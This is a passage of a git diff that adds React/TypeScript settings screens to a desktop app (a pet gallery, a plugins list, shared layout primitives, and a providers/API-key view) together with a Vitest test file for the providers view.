+                onChange={event => setQuery(event.target.value)}
+                placeholder={copy.searchPlaceholder}
+                spellCheck={false}
+                value={query}
+              />
+              {/* Fixed-height scroll area so filtering never grows/shrinks the
+                  page (no layout thrash); the grid scrolls inside it. */}
+              <div className="mt-3 h-72 overflow-y-auto pr-1">
+                {status === 'loading' && pets.length === 0 ? (
+                  // First load keeps the grid's shape rather than flashing the
+                  // "unreachable" copy before the gallery has even arrived.
+                  <div className="grid gap-2 sm:grid-cols-2 xl:grid-cols-3">
+                    {Array.from({ length: 6 }, (_, i) => (
+                      <div className="flex items-center gap-2.5 px-2.5 py-2" key={i}>
+                        <Skeleton className="size-10 shrink-0 rounded-md" />
+                        <div className="min-w-0 flex-1 space-y-1.5">
+                          <Skeleton className="h-3.5 w-24 max-w-full" />
+                          <Skeleton className="h-3 w-16 max-w-full" />
+                        </div>
+                      </div>
+                    ))}
+                  </div>
+                ) : pets.length === 0 ? (
+                  <p className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                    {copy.unreachable}
+                  </p>
+                ) : shown.length === 0 ? (
+                  <p className="wrap-anywhere text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                    {copy.noMatch(query)}
+                  </p>
+                ) : (
+                  <div className="grid gap-2 sm:grid-cols-2 xl:grid-cols-3">
+                    {shown.map(pet => {
+                      const isActive = enabled && active === pet.slug
+                      const isBusy = busySlug === pet.slug
+
+                      return (
+                        <div className="group relative" key={pet.slug}>
+                          <button
+                            className={cn(
+                              'flex w-full items-center gap-2.5 px-2.5 py-2 text-left disabled:opacity-50',
+                              selectableCardClass({ active: isActive, prominent: pet.installed })
+                            )}
+                            disabled={isBusy}
+                            onClick={() => void selectPet(pet.slug)}
+                            type="button"
+                          >
+                            <PetThumb
+                              alt={pet.displayName}
+                              load={(slug, url) => loadPetThumb(requestGateway, slug, url)}
+                              slug={pet.slug}
+                              url={pet.spritesheetUrl}
+                            />
+                            <span className="min-w-0 flex-1">
+                              <span className="flex items-center gap-1.5">
+                                <span className="truncate text-[length:var(--conversation-text-font-size)] font-medium">
+                                  {pet.displayName}
+                                </span>
+                                {pet.generated && (
+                                  <span className="shrink-0 rounded-full bg-primary/15 px-1.5 py-px text-[0.625rem] font-medium text-primary">
+                                    {copy.generatedTag}
+                                  </span>
+                                )}
+                              </span>
+                              <span className="block truncate text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                                {pet.slug}
+                                {pet.installed ? ` · ${copy.installedTag}` : ''}
+                              </span>
+                            </span>
+                            {isBusy && <Loader2 className="size-4 shrink-0 animate-spin text-(--ui-text-tertiary)" />}
+                          </button>
+                          {!isBusy && (pet.installed || pet.generated) && (
+                            <div className="absolute right-1.5 top-1.5 flex gap-1 opacity-0 transition focus-within:opacity-100 group-hover:opacity-100">
+                              {pet.generated && (
+                                <PetAction
+                                  icon={<Pencil className="size-3.5" />}
+                                  label={copy.rename(pet.displayName)}
+                                  onClick={() => {
+                                    setRenameValue(pet.displayName)
+                                    setRenameTarget(pet)
+                                  }}
+                                />
+                              )}
+                              {pet.generated && (
+                                <PetAction
+                                  icon={<Download className="size-3.5" />}
+                                  label={copy.exportPet(pet.displayName)}
+                                  onClick={() => exportPet(pet.slug)}
+                                />
+                              )}
+                              {pet.installed && (
+                                // Generated pets have no remote source — deletion is
+                                // permanent, so confirm; petdex pets just uninstall.
+                                <PetAction
+                                  danger
+                                  icon={<Trash2 className="size-3.5" />}
+                                  label={pet.generated ? copy.delete(pet.displayName) : copy.uninstall(pet.displayName)}
+                                  onClick={() => (pet.generated ? setConfirmDelete(pet) : removePet(pet.slug))}
+                                />
+                              )}
+                            </div>
+                          )}
+                        </div>
+                      )
+                    })}
+                  </div>
+                )}
+              </div>
+              {/* Always-present status line so its appearance never shifts layout. */}
+              <p className="mt-2 min-h-4 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                {error ? (
+                  <span className="text-(--ui-red)">{error}</span>
+                ) : sorted.length > RENDER_CAP ? (
+                  copy.countCapped(RENDER_CAP, sorted.length)
+                ) : (
+                  copy.count(sorted.length)
+                )}
+              </p>
+            </>
+          }
+          description={copy.chooseDesc}
+          title={
+            <div className="flex items-center justify-between gap-3">
+              <span>{copy.chooseTitle}</span>
+              <SegmentedControl
+                onChange={id => void toggle(id === 'on')}
+                options={[
+                  { id: 'off', label: copy.off },
+                  { id: 'on', label: copy.on }
+                ]}
+                value={enabled ? 'on' : 'off'}
+              />
+            </div>
+          }
+          wide
+        />
+
+        {enabled && (
+          <ListRow
+            action={
+              <div className="flex items-center gap-3">
+                <input
+                  aria-label={copy.scaleTitle}
+                  className="h-1 w-40 cursor-pointer appearance-none rounded-full bg-(--ui-stroke-tertiary)"
+                  max={PET_SCALE_MAX}
+                  min={PET_SCALE_MIN}
+                  onChange={event => {
+                    triggerHaptic('selection')
+                    setPetScale(requestGateway, Number(event.target.value))
+                  }}
+                  step={0.05}
+                  style={{ accentColor: 'var(--dt-primary)' }}
+                  type="range"
+                  value={scale}
+                />
+                <span className="w-9 text-right text-[length:var(--conversation-caption-font-size)] tabular-nums text-(--ui-text-tertiary)">
+                  {`${Math.round(scale * 100)}%`}
+                </span>
+              </div>
+            }
+            description={copy.scaleDesc}
+            title={copy.scaleTitle}
+          />
+        )}
+
+        {enabled && (
+          <ListRow
+            action={
+              <SegmentedControl
+                onChange={id => {
+                  setPetRoam(id === 'on')
+                  triggerHaptic('crisp')
+                }}
+                options={[
+                  { id: 'off', label: copy.off },
+                  { id: 'on', label: copy.on }
+                ]}
+                value={roam ? 'on' : 'off'}
+              />
+            }
+            description={copy.roamDesc}
+            title={copy.roamTitle}
+          />
+        )}
+      </div>
+
+      <ConfirmDialog
+        confirmLabel={copy.deleteConfirm}
+        description={copy.deleteBody}
+        destructive
+        onClose={() => setConfirmDelete(null)}
+        onConfirm={async () => {
+          if (confirmDelete) {
+            const ok = await removePetAction(
+              requestGateway,
+              confirmDelete.slug,
+              copy.uninstallFailed(confirmDelete.slug)
+            )
+
+            if (!ok) {
+              throw new Error(copy.uninstallFailed(confirmDelete.slug))
+            }
+
+            triggerHaptic('crisp')
+          }
+        }}
+        open={confirmDelete !== null}
+        title={confirmDelete ? copy.deleteTitle(confirmDelete.displayName) : ''}
+      />
+
+      <Dialog onOpenChange={open => !open && setRenameTarget(null)} open={renameTarget !== null}>
+        <DialogContent className="max-w-sm">
+          <DialogHeader>
+            <DialogTitle>{copy.renameTitle}</DialogTitle>
+          </DialogHeader>
+          <Input
+            autoFocus
+            onChange={event => setRenameValue(event.target.value)}
+            onKeyDown={event => {
+              if (event.key === 'Enter') {
+                event.preventDefault()
+                saveRename()
+              }
+            }}
+            placeholder={copy.renamePlaceholder}
+            value={renameValue}
+          />
+          <DialogFooter>
+            <Button onClick={() => setRenameTarget(null)} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={!renameValue.trim()} onClick={saveRename}>
+              {copy.renameSave}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </div>
+  )
+}
+
+/** A single hover-revealed icon action on a pet card (rename / export / delete). */
+function PetAction({
+  danger,
+  icon,
+  label,
+  onClick
+}: {
+  danger?: boolean
+  icon: ReactNode
+  label: string
+  onClick: () => void
+}) {
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className={cn(
+          'grid size-6 place-items-center rounded-md bg-(--ui-bg-elevated)/80 text-(--ui-text-tertiary) backdrop-blur-sm transition',
+          danger ? 'hover:text-(--ui-red)' : 'hover:text-foreground'
+        )}
+        onClick={onClick}
+        type="button"
+      >
+        {icon}
+      </button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/app/settings/plugins-settings.tsx b/ui-desktop/src/app/settings/plugins-settings.tsx
new file mode 100644
index 000000000..996a22289
--- /dev/null
+++ b/ui-desktop/src/app/settings/plugins-settings.tsx
@@ -0,0 +1,132 @@
+import { useStore } from '@nanostores/react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Switch } from '@/components/ui/switch'
+import { Tip } from '@/components/ui/tooltip'
+import { $pluginRecords, type PluginRecord, setPluginEnabled } from '@/contrib/plugins-store'
+import { discoverRuntimePlugins } from '@/contrib/runtime-loader'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Package } from '@/lib/icons'
+import { notifyError } from '@/store/notifications'
+
+import { EmptyState, ListRow, Pill, SectionHeading, SettingsContent } from './primitives'
+
+const KIND_ORDER: Record<PluginRecord['kind'], number> = { disk: 0, runtime: 1, bundled: 2 }
+
+function reveal(file: string) {
+  void window.clawcodexDesktop?.revealPath?.(file)?.catch(() => undefined)
+}
+
+async function revealPluginsDir() {
+  try {
+    // Electron owns the local plugin root — deriving it from the backend's
+    // clawcodex_home breaks against a remote backend (#66899).
+    const dir = await window.clawcodexDesktop?.desktopPluginsRoot?.()
+
+    if (!dir) {
+      notifyError('Desktop plugins are unavailable', 'Could not resolve the plugins folder')
+
+      return
+    }
+
+    // openDir (not reveal): the door often doesn't exist on first use, and
+    // showItemInFolder on a missing path silently no-ops (esp. Windows).
+    const result = await window.clawcodexDesktop?.openDir?.(dir)
+
+    if (result && !result.ok) {
+      notifyError(result.error ?? 'unknown error', 'Could not open the plugins folder')
+    }
+  } catch (err) {
+    notifyError(err, 'Could not resolve the plugins folder')
+  }
+}
+
+function PluginRow({ record }: { record: PluginRecord }) {
+  const { t } = useI18n()
+  const p = t.settings.plugins
+
+  return (
+    <ListRow
+      action={
+        <div className="flex items-center justify-end gap-2">
+          {record.file && (
+            <Tip label={p.reveal}>
+              <Button onClick={() => reveal(record.file!)} size="icon" variant="ghost">
+                <Codicon name="folder-opened" size="0.85rem" />
+              </Button>
+            </Tip>
+          )}
+          <Switch
+            aria-label={`${record.status === 'disabled' ? p.enable : p.disable} ${record.name}`}
+            checked={record.status !== 'disabled'}
+            onCheckedChange={on => {
+              triggerHaptic('selection')
+              void setPluginEnabled(record.id, on)
+            }}
+          />
+        </div>
+      }
+      description={
+        record.status === 'error' ? (
+          <span className="text-(--ui-danger,#f87171)">{record.error}</span>
+        ) : (
+          (record.file ?? record.id)
+        )
+      }
+      title={
+        <span className="flex items-center gap-2">
+          {record.name}
+          <Pill>{p.kinds[record.kind]}</Pill>
+          {record.status === 'error' && <Pill tone="primary">{p.failed}</Pill>}
+        </span>
+      }
+    />
+  )
+}
+
+export function PluginsSettings() {
+  const { t } = useI18n()
+  const p = t.settings.plugins
+  const records = useStore($pluginRecords)
+
+  const rows = Object.values(records).sort(
+    (a, b) => KIND_ORDER[a.kind] - KIND_ORDER[b.kind] || a.name.localeCompare(b.name)
+  )
+
+  return (
+    <SettingsContent>
+      <SectionHeading icon={Package} meta={p.count(rows.length)} title={p.title} />
+      <p className="mb-4 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">{p.blurb}</p>
+
+      <div className="mb-4 flex items-center gap-2">
+        <Button onClick={() => void revealPluginsDir()} size="sm" variant="outline">
+          <Codicon name="folder-opened" size="0.8rem" />
+          {p.openFolder}
+        </Button>
+        <Button
+          onClick={() => {
+            triggerHaptic('selection')
+            void discoverRuntimePlugins()
+          }}
+          size="sm"
+          variant="outline"
+        >
+          <Codicon name="refresh" size="0.8rem" />
+          {p.rescan}
+        </Button>
+      </div>
+
+      {rows.length === 0 ? (
+        <EmptyState title={p.empty} />
+      ) : (
+        <div className="divide-y divide-(--ui-stroke-tertiary)">
+          {rows.map(record => (
+            <PluginRow key={record.id} record={record} />
+          ))}
+        </div>
+      )}
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/primitives.tsx b/ui-desktop/src/app/settings/primitives.tsx
new file mode 100644
index 000000000..bbe86a45f
--- /dev/null
+++ b/ui-desktop/src/app/settings/primitives.tsx
@@ -0,0 +1,244 @@
+import type { ReactNode } from 'react'
+
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Switch } from '@/components/ui/switch'
+import { triggerHaptic } from '@/lib/haptics'
+import type { IconComponent } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { PAGE_INSET_X } from '../layout-constants'
+
+// `bare` drops the page gutters + tall bottom pad for embedding in a tighter
+// surface (e.g. the boot-failure recovery card owns its own padding).
+export function SettingsContent({ children, bare = false }: { children: ReactNode; bare?: boolean }) {
+  return (
+    <section className="min-h-0 overflow-hidden">
+      <div className={cn('h-full min-h-0 overflow-y-auto', bare ? 'px-5 pb-6' : cn('pb-20', PAGE_INSET_X))}>
+        {children}
+      </div>
+    </section>
+  )
+}
+
+const PILL_VARIANT = { muted: 'muted', primary: 'default', warn: 'warn' } as const
+
+export function Pill({ tone = 'muted', children }: { tone?: keyof typeof PILL_VARIANT; children: ReactNode }) {
+  return <Badge variant={PILL_VARIANT[tone]}>{children}</Badge>
+}
+
+export function SectionHeading({
+  aside,
+  icon: Icon,
+  meta,
+  title
+}: {
+  // Right-aligned trailing content on the heading row (e.g. a compact status +
+  // action), so a single-item section needn't repeat its own label as a row.
+  aside?: ReactNode
+  icon: IconComponent
+  meta?: string
+  title: string
+}) {
+  return (
+    <div className="mb-2.5 flex items-center gap-2 pt-2 text-[length:var(--conversation-text-font-size)] font-medium">
+      <Icon className="size-4 shrink-0 text-muted-foreground" />
+      <span>{title}</span>
+      {meta && <Pill>{meta}</Pill>}
+      {aside && <div className="ml-auto flex min-w-0 items-center">{aside}</div>}
+    </div>
+  )
+}
+
+// A titled section: heading + body with the shared vertical rhythm. Keeps the
+// heading and its content welded together so pages stop hand-rolling
+// `<div className="mb-…"><SectionHeading/>…</div>` at every call site.
+export function SettingsSection({
+  aside,
+  children,
+  icon,
+  meta,
+  title
+}: {
+  aside?: ReactNode
+  children: ReactNode
+  icon: IconComponent
+  meta?: string
+  title: string
+}) {
+  return (
+    <section className="mb-6">
+      <SectionHeading aside={aside} icon={icon} meta={meta} title={title} />
+      {children}
+    </section>
+  )
+}
+
+export function NavLink({
+  icon: Icon,
+  label,
+  active,
+  onClick
+}: {
+  icon: IconComponent
+  label: string
+  active: boolean
+  onClick: () => void
+}) {
+  return (
+    <Button
+      className={cn(
+        'flex min-h-7 w-full justify-start gap-2 rounded-md px-2 text-left text-[length:var(--conversation-text-font-size)] transition',
+        active
+          ? 'bg-(--ui-bg-tertiary) text-foreground'
+          : 'text-(--ui-text-secondary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+      )}
+      onClick={onClick}
+      size="sm"
+      type="button"
+      variant="ghost"
+    >
+      <Icon className="size-4 shrink-0" />
+      <span className="min-w-0 flex-1 truncate">{label}</span>
+    </Button>
+  )
+}
+
+export function ListRow({
+  title,
+  description,
+  hint,
+  action,
+  below,
+  wide = false,
+  className
+}: {
+  title: ReactNode
+  description?: ReactNode
+  hint?: ReactNode
+  action?: ReactNode
+  below?: ReactNode
+  wide?: boolean
+  className?: string
+}) {
+  return (
+    // Container-queried, not viewport-queried: the label/control split keys on
+    // the row's own pane width, so a narrow detail column (messaging, split
+    // views) stacks instead of squishing the label against minmax(15rem,…).
+    <div className={cn('@container', className)}>
+      <div
+        className={cn(
+          'grid gap-3 py-3',
+          !wide && '@2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:items-center'
+        )}
+      >
+        <div className="min-w-0">
+          <div className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">{title}</div>
+          {description && (
+            <div className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+              {description}
+            </div>
+          )}
+          {hint && <div className="mt-1 block font-mono text-[0.68rem] text-muted-foreground/45">{hint}</div>}
+          {below}
+        </div>
+        {action && <div className={cn('min-w-0', !wide && '@2xl:justify-self-end')}>{action}</div>}
+      </div>
+    </div>
+  )
+}
+
+// A labelled on/off row — the canonical device-pref switch (haptic baked in).
+export function ToggleRow({
+  checked,
+  description,
+  disabled,
+  label,
+  onChange
+}: {
+  checked: boolean
+  description?: string
+  disabled?: boolean
+  label: string
+  onChange: (on: boolean) => void
+}) {
+  return (
+    <ListRow
+      action={
+        <Switch
+          aria-label={label}
+          checked={checked}
+          disabled={disabled}
+          onCheckedChange={on => {
+            triggerHaptic('selection')
+            onChange(on)
+          }}
+        />
+      }
+      description={description}
+      title={label}
+    />
+  )
+}
+
+// Skeleton primitives mirroring the settings layout rhythm — a loading page keeps
+// its shape (like ModelSettings) instead of collapsing to a centered spinner.
+export function SectionHeadingSkeleton() {
+  return (
+    <div className="mb-2.5 flex items-center gap-2 pt-2">
+      <Skeleton className="size-4" />
+      <Skeleton className="h-4 w-36 max-w-full" />
+    </div>
+  )
+}
+
+export function ListRowSkeleton({ wide = false }: { wide?: boolean }) {
+  return (
+    <div className="@container">
+      <div
+        className={cn(
+          'grid gap-3 py-3',
+          !wide && '@2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:items-center'
+        )}
+      >
+        <div className="min-w-0 space-y-1.5">
+          <Skeleton className="h-3.5 w-40 max-w-full" />
+          <Skeleton className="h-3 w-64 max-w-full" />
+        </div>
+        {!wide && <Skeleton className="h-8 w-full @2xl:w-72 @2xl:justify-self-end" />}
+      </div>
+    </div>
+  )
+}
+
+// A full settings page in its loading shape: an optional leading search field
+// over one or more sections, each an optional heading above a run of rows.
+// `<SettingsSkeleton search sections={[{ heading, rows }]} />`.
+export function SettingsSkeleton({
+  search = false,
+  sections = [{ rows: 4 }]
+}: {
+  search?: boolean
+  sections?: { heading?: boolean; rows: number }[]
+}) {
+  return (
+    <SettingsContent>
+      {search && <Skeleton className="mb-3 h-8 w-full" />}
+      {sections.map((section, i) => (
+        <section className={cn(i > 0 && 'mt-6')} key={i}>
+          {section.heading && <SectionHeadingSkeleton />}
+          <div className="grid gap-1">
+            {Array.from({ length: section.rows }, (_, r) => (
+              <ListRowSkeleton key={r} />
+            ))}
+          </div>
+        </section>
+      ))}
+    </SettingsContent>
+  )
+}
+
+// Canonical implementation lives in components/ui; re-exported so the many
+// settings call sites keep their import path.
+export { EmptyState } from '@/components/ui/empty-state'
diff --git a/ui-desktop/src/app/settings/providers-settings.test.tsx b/ui-desktop/src/app/settings/providers-settings.test.tsx
new file mode 100644
index 000000000..51fd7cf8e
--- /dev/null
+++ b/ui-desktop/src/app/settings/providers-settings.test.tsx
@@ -0,0 +1,206 @@
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { EnvVarInfo, OAuthProvider } from '@/types/clawcodex'
+
+const listOAuthProviders = vi.fn()
+const disconnectOAuthProvider = vi.fn()
+const getEnvVars = vi.fn()
+const startManualProviderOAuth = vi.fn()
+const startManualLocalEndpoint = vi.fn()
+const onboarding = atom({ manual: false })
+
+vi.mock('@/clawcodex', () => ({
+  disconnectOAuthProvider: (providerId: string) => disconnectOAuthProvider(providerId),
+  getEnvVars: () => getEnvVars(),
+  listOAuthProviders: () => listOAuthProviders()
+}))
+
+vi.mock('@/store/onboarding', () => ({
+  $desktopOnboarding: onboarding,
+  startManualProviderOAuth: (providerId: string) => startManualProviderOAuth(providerId),
+  startManualLocalEndpoint: (reason: null | string) => startManualLocalEndpoint(reason)
+}))
+
+function provider(id: string, loggedIn: boolean, patch: Partial<OAuthProvider> = {}): OAuthProvider {
+  return {
+    cli_command: `clawcodex auth add ${id}`,
+    disconnectable: true,
+    docs_url: '',
+    flow: 'device_code',
+    id,
+    name: id === 'nous' ? 'Nous Portal' : 'MiniMax',
+    status: {
+      logged_in: loggedIn
+    },
+    ...patch
+  }
+}
+
+// One `/api/env` row (an EnvVarInfo) for the API-keys view. Mirrors the
+// `provider()` factory above: a valid base + per-test overrides, typed against
+// the real response shape so it can't drift from EnvVarInfo.
+function keyVar(patch: Partial<EnvVarInfo> = {}): EnvVarInfo {
+  return {
+    advanced: false,
+    category: 'provider',
+    description: '',
+    is_password: true,
+    is_set: false,
+    provider: '',
+    provider_label: '',
+    redacted_value: null,
+    tools: [],
+    url: '',
+    ...patch
+  }
+}
+
+beforeEach(() => {
+  onboarding.set({ manual: false })
+  getEnvVars.mockResolvedValue({})
+  disconnectOAuthProvider.mockResolvedValue({ ok: true, provider: 'nous' })
+  listOAuthProviders.mockResolvedValue({
+    providers: [provider('nous', true), provider('minimax-oauth', false)]
+  })
+  vi.spyOn(window, 'confirm').mockReturnValue(true)
+})
+
+afterEach(() => {
+  cleanup()
+  vi.restoreAllMocks()
+  vi.clearAllMocks()
+})
+
+async function renderProvidersSettings() {
+  const { ProvidersSettings } = await import('./providers-settings')
+  let result: ReturnType<typeof render>
+  await act(async () => {
+    result = render(<ProvidersSettings onClose={vi.fn()} onViewChange={vi.fn()} view="accounts" />)
+  })
+
+  return result!
+}
+
+describe('ProvidersSettings', () => {
+  it('disconnects a connected provider account and refreshes the accounts list', async () => {
+    await renderProvidersSettings()
+
+    const remove = await screen.findByRole('button', { name: 'Remove Nous Portal' })
+    await act(async () => {
+      fireEvent.click(remove)
+    })
+
+    await waitFor(() => expect(disconnectOAuthProvider).toHaveBeenCalledWith('nous'))
+    expect(listOAuthProviders).toHaveBeenCalledTimes(2)
+  })
+
+  it('keeps provider selection separate from account removal', async () => {
+    await renderProvidersSettings()
+
+    await act(async () => {
+      fireEvent.click(await screen.findByText('Nous Portal'))
+    })
+
+    expect(startManualProviderOAuth).toHaveBeenCalledWith('nous')
+    expect(disconnectOAuthProvider).not.toHaveBeenCalled()
+  })
+
+  it('does not offer removal for externally managed providers', async () => {
+    listOAuthProviders.mockResolvedValue({
+      providers: [
+        provider('qwen-oauth', true, {
+          cli_command: 'clawcodex auth add qwen-oauth',
+          disconnect_hint: "Use `clawcodex auth add qwen-oauth` or that provider's CLI to remove it.",
+          disconnectable: false,
+          flow: 'external',
+          name: 'Qwen (via Qwen CLI)'
+        })
+      ]
+    })
+
+    await renderProvidersSettings()
+
+    expect(await screen.findByText('Qwen Code')).toBeTruthy()
+    expect(screen.queryByRole('button', { name: 'Remove Qwen Code' })).toBeNull()
+    expect(screen.getByText(/managed by its own CLI/)).toBeTruthy()
+  })
+
+  it('renders a Keys card for a backend-tagged provider with no PROVIDER_GROUPS prefix', async () => {
+    // A provider the backend catalog tags (provider/provider_label) but that has
+    // no desktop PROVIDER_GROUPS prefix row must still render its own card —
+    // this is the GUI/CLI drift fix: membership comes from the backend, not
+    // from the hand-maintained prefix list.
+    getEnvVars.mockResolvedValue({
+      WIDGETAI_API_KEY: keyVar({
+        provider: 'widgetai',
+        provider_label: 'WidgetAI',
+        url: 'https://widgetai.example/keys'
+      })
+    })
+    listOAuthProviders.mockResolvedValue({ providers: [] })
+
+    const { ProvidersSettings } = await import('./providers-settings')
+    await act(async () => {
+      render(<ProvidersSettings onClose={vi.fn()} onViewChange={vi.fn()} view="keys" />)
+    })
+
+    expect(await screen.findByText('WidgetAI')).toBeTruthy()
+  })
+
+  it('orders API-key providers by priority then name, and filters them via search', async () => {
+    // These three providers have no curated PROVIDER_GROUPS priority, so they
+    // share the default priority and fall back to alphabetical among themselves
+    // (Acme, Middle, Zebra) — exercising the name tiebreak of the priority sort.
+    getEnvVars.mockResolvedValue({
+      ZEBRA_API_KEY: keyVar({ provider: 'zebra', provider_label: 'Zebra' }),
+      ACME_API_KEY: keyVar({ provider: 'acme', provider_label: 'Acme' }),
+      MIDDLE_API_KEY: keyVar({ provider: 'middle', provider_label: 'Middle' })
+    })
+    listOAuthProviders.mockResolvedValue({ providers: [] })
+
+    const { ProvidersSettings } = await import('./providers-settings')
+    render(<ProvidersSettings onClose={vi.fn()} onViewChange={vi.fn()} view="keys" />)
+
+    // Equal priority → alphabetical tiebreak: Acme, Middle, Zebra.
+    await screen.findByText('Acme')
+    const labels = screen.getAllByText(/Acme|Middle|Zebra/).map(el => el.textContent)
+    expect(labels).toEqual(['Acme', 'Middle', 'Zebra'])
+
+    // Typing narrows the list to matching providers only.
+    const search = screen.getByPlaceholderText('Search providers…')
+    await act(async () => {
+      fireEvent.change(search, { target: { value: 'mid' } })
+    })
+
+    await waitFor(() => expect(screen.queryByText('Acme')).toBeNull())
+    expect(screen.getByText('Middle')).toBeTruthy()
+    expect(screen.queryByText('Zebra')).toBeNull()
+
+    // A non-matching query shows the empty-state copy.
+    await act(async () => {
+      fireEvent.change(search, { target: { value: 'nonesuch-xyz' } })
+    })
+    expect(await screen.findByText('No providers match your search.')).toBeTruthy()
+  })
+
+  it('offers a Local / custom endpoint entry in the API-keys tab that opens the custom-endpoint flow', async () => {
+    // Regression: the composer pill and the providers "have an API key"
+    // affordance both dead-end on the env-var-driven key catalog, which never
+    // lists a custom endpoint — so without this row there is no reachable
+    // Desktop GUI path to add one. See issue #62817.
+    getEnvVars.mockResolvedValue({})
+    listOAuthProviders.mockResolvedValue({ providers: [] })
+
+    const { ProvidersSettings } = await import('./providers-settings')
+    render(<ProvidersSettings onClose={vi.fn()} onViewChange={vi.fn()} view="keys" />)
+
+    const row = await screen.findByText('Local / custom endpoint')
+    expect(screen.getByText(/OpenAI-compatible endpoint/)).toBeTruthy()
+
+    fireEvent.click(row)
+
+    await waitFor(() => expect(startManualLocalEndpoint).toHaveBeenCalledWith(null))
+  })
+})
diff --git a/ui-desktop/src/app/settings/providers-settings.tsx b/ui-desktop/src/app/settings/providers-settings.tsx
new file mode 100644
index 000000000..b20409c83
--- /dev/null
+++ b/ui-desktop/src/app/settings/providers-settings.tsx
@@ -0,0 +1,526 @@
+import { useStore } from '@nanostores/react'
+import type { ReactNode } from 'react'
+import { useCallback, useEffect, useMemo, useState } from 'react'
+
+import { runInTerminal } from '@/app/right-sidebar/store'
+import { disconnectOAuthProvider, listOAuthProviders } from '@/clawcodex'
+import {
+  FEATURED_ID,
+  FeaturedProviderRow,
+  FireworksProviderRow,
+  OpenRouterProviderRow,
+  ProviderRow,
+  providerTitle,
+  sortProviders
+} from '@/components/onboarding'
+import { Button } from '@/components/ui/button'
+import { RowButton } from '@/components/ui/row-button'
+import { SearchField } from '@/components/ui/search-field'
+import { useI18n } from '@/i18n'
+import { Check, ChevronDown, ChevronRight, KeyRound, Loader2, Terminal, Trash2 } from '@/lib/icons'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import { $desktopOnboarding, startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
+import type { EnvVarInfo, OAuthProvider } from '@/types/clawcodex'
+
+import { isKeyVar, ProviderKeyRows } from './credential-key-ui'
+import { CustomEndpointsSettings } from './custom-endpoints-settings'
+import { SettingsCategoryHeading, useEnvCredentials } from './env-credentials'
+import { providerGroup, providerMeta, providerPriority } from './helpers'
+import { SettingsContent, SettingsSkeleton } from './primitives'
+
+// The embedded terminal (and thus the "run disconnect command" path) only
+// exists in the Electron desktop shell, not the web dashboard.
+const canRunInTerminal = () => typeof window !== 'undefined' && Boolean(window.clawcodexDesktop?.terminal)
+
+// Parallel group headers ("Connected", "Other providers") so the expanded list
+// reads as its own section instead of bleeding into the connected group.
+function GroupLabel({ children }: { children: ReactNode }) {
+  return (
+    <p className="mt-3 px-0.5 text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-tertiary)">
+      {children}
+    </p>
+  )
+}
+
+// Sub-views surfaced as a sidebar subnav: account sign-in vs raw API keys.
+export const PROVIDER_VIEWS = ['accounts', 'keys', 'custom-endpoints'] as const
+
+export type ProviderView = (typeof PROVIDER_VIEWS)[number]
+
+// Group the env catalog by provider — one ListRow per vendor plus optional
+// advanced overrides (base URL, region, etc.). Groups without a key field are
+// skipped.
+//
+// Grouping key precedence:
+//   1. Backend `provider_label` / `provider` (from the unified provider catalog
+//      in clawcodex_cli/provider_catalog.py) — the SAME provider identity
+//      `clawcodex model` uses. This is authoritative: a provider tagged by the
+//      backend always renders a card, even with no PROVIDER_GROUPS row.
+//   2. Desktop prefix match (`providerGroup`) — legacy fallback for provider
+//      env vars that predate the backend tagging.
+// Only entries that resolve to neither (the "Other" bucket) are skipped.
+function buildProviderKeyGroups(vars: Record<string, EnvVarInfo>): ProviderKeyGroup[] {
+  const buckets = new Map<string, [string, EnvVarInfo][]>()
+
+  for (const [key, info] of Object.entries(vars)) {
+    if (info.category !== 'provider') {
+      continue
+    }
+
+    // Prefer the backend-supplied provider label/id so the Keys tab groups by
+    // the same identity the CLI picker uses; fall back to the prefix guess.
+    const name = info.provider_label?.trim() || info.provider?.trim() || providerGroup(key)
+
+    if (name === 'Other') {
+      continue
+    }
+
+    buckets.set(name, [...(buckets.get(name) ?? []), [key, info]])
+  }
+
+  const groups: ProviderKeyGroup[] = []
+
+  for (const [name, entries] of buckets) {
+    const primary = entries.find(([k, i]) => !i.advanced && isKeyVar(k, i)) ?? entries.find(([k, i]) => isKeyVar(k, i))
+
+    if (!primary) {
+      continue
+    }
+
+    // Presentation overlay (priority, blurb, docs) is keyed by the prefix-based
+    // group name; when the backend introduced this provider it may have no
+    // overlay entry, so fall back to the backend/env metadata for display.
+    const meta = providerMeta(name)
+
+    groups.push({
+      // Advanced = the provider's non-key knobs (base URL, region, deployment).
+      // Skip redundant alias key vars (e.g. ANTHROPIC_TOKEN vs ANTHROPIC_API_KEY)
+      // so we never render a second "Paste key" input — unless one is already
+      // set, in which case keep it visible so it stays clearable.
+      advanced: entries
+        .filter(([k, i]) => k !== primary[0] && (!isKeyVar(k, i) || i.is_set))
+        .sort(([a], [b]) => a.localeCompare(b)),
+      description: meta?.description ?? primary[1].description,
